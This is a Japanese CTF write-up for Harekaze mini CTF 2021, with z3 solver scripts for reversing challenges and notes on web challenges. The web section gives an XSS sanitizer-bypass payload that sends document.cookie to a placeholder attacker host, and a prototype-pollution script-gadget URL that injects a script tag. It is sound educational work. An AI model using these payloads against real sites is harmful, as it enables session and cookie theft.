Harekaze mini CTF 2021、3時間だし平日だしpwnないしで参加するか微妙でしたが、yoshikingとtheoremoonとで参加することになりました。 チームyoshikingdomは基本的にyoshiking国王が解くのですが、好き嫌いの激しい国王が残した問題は部下が解くことになります。 解けないと極刑になります。
- [Reversing] crackme
- [Reversing] Pack Program
- [Reversing] Let's read wasm
- [Web] Osoraku Secure Note
- [Web] Emoji Tsukuru
ELFファイルなのでIDAで開くと、a
, b
というint型配列とフラグflag
に対して、
a[i]*flag[i] + flag[i]*flag[i] + b[i] == 0
を32文字分満たせば良い。以上。
from z3 import * flag = "" with open("crackme", "rb") as f: f.seek(0x00003060) aa = f.read(4*32) f.seek(0x000030e0) bb = f.read(4*32) for i in range(0, 4*32, 4): s = Solver() a = u32(aa[i:i+4]) b = u32(bb[i:i+4]) c = BitVec('c', 32) s.add((a*c + c*c + b) & 0xffffffff == 0) s.add(0 <= c, c < 0x100) r = s.check() if r == sat: flag += chr(s.model()[c].as_long()) else: break print(flag)
challenge
という名前のファイルが貰える。
拡張子が付いていないがWindowsの実行ファイル。*1
IDAで開くとひと目でUPXで圧縮されていることが分かるが、UPXでは展開できないようになっている。
popad
でHWブレークポイントを付けてイメージをダンプすると、展開後の実行ファイルになっているのでIDAで読む。
なんかbase64っぽい文字列をがちゃがちゃやっており、特定の条件を通るとフラグが出力される。
フラグが出力されるパスに向けてフラグレジスタを書き換えるとフラグが出る。
Pack Programを解いている間にtheoremoonが大部分を読んでくれていた。 ので、その処理をz3に投げると終わった。
from z3 import * hoge = b"M`\x00\x00Va\x00\x00cp\x00\x00So\x00\x00Ga\x00\x00UK\x00\x00zp\x00\x00zo\x00\x00" hoge += b"o|\x00\x00ct\x00\x00[email protected]\x00\x00tw\x00\x00xq\x00\x00\x7fw\x00\x00Y'\x00\x00e$\x00\x00" hoge += b"m0\x00\x00t\x5c\x00\x00Uv\x00\x00{`\x00\x00ls\x00\x00+v\x00\x00zt\x00\x00Tm\x00\x00" hoge += b"6~\x00\x00qu\x00\x00$O\x00\x00ua\x00\x00x~\x00\x00pa\x00\x00=6\x00\x00tt\x00\x00" def compress(v): o = 0 o |= ((v >> 0) & 0xff) o |= ((v >> 8) & 0xff) o |= ((v >> 16) & 0xff) o |= ((v >> 24) & 0xff) o |= ((v >> 32) & 0xff) o |= ((v >> 40) & 0xff) o |= ((v >> 48) & 0xff) o |= ((v >> 56) & 0xff) o <<= 8 o |= ((v >> 64) & 0xff) o |= ((v >> 72) & 0xff) o |= ((v >> 80) & 0xff) o |= ((v >> 88) & 0xff) o |= ((v >> 96) & 0xff) o |= ((v >> 104) & 0xff) o |= ((v >> 112) & 0xff) o |= ((v >> 120) & 0xff) return o output = b"" mask = 0x80402010080402018040201008040201 for j in range(4): flag = BitVec('flag', 8*16) s = Solver() for i in range(8): v = simplify(compress(flag & mask)) ans = int.from_bytes(hoge[j*32+i*4:j*32+i*4+4], 'little') print(hex(ans)) s.add(v == ans) mask = (mask >> 8) | ((mask & 0xff) << 120) s.check() output += int.to_bytes(s.model()[flag].as_long(), 16, 'little') print(output)
JSDOMとかいうのを使ってXSSを防いでいる。
<br>
, <strong>
, <em>
, <del>
タグしか使えない。
がちゃがちゃやってると
<strong </strong>>
みたいなことをしたときに>
が1つ飛び出すことに気づく。
これがstrongタグの外に来ていた(気がする)ため
<strong </strong>><img src=x onerror="..."
と書けば、飛び出た>
がimg
タグを閉じてくれるんじゃないかな、と思って試す。
<strong </strong>><img src=x onerror="if(document.cookie){location.href='http://XXXX:YYYY/'+document.cookie}"
なんか知らんけど、できたぁ。
解けませんでした。この国の憲法により極刑です。さようなら。
この問題はprototype pollutionっぽい香りをしているのですが、__proto__
が禁止されているしprototype pollutionできたところで嬉しいことなくね?みたいになります。
innerHTML
に書き込むのは数値だけなのでXSSチャンスはありません。
まず__proto__
を使わないでprototype pollutionする方法ですが「prototype pollution without __proto__」で調べてもゴミみたいなサイトしか出てきませんでした。*2だからできないものだと思っていました。
ところが実際は世間がゴミなだけでこれは可能で、a.constructor.prototype.b=xxx
のようにして可能なようです。
これが出来たところで何をすれば良いのか分かりませんが、ここでscript gadgetというのを使うらしいです。
まぁ流石にこのページは見たことがありましたが、全然思いつきませんでした。captchaはクローラを守るために付けてると、思うじゃん :pleading_face:
それが分かればXSSができて、終了します。
http://emoji-tsukuru.harekaze.com/?text0.constructor.prototype.srcdoc=<script>alert();</script>
来年はWebを勉強します。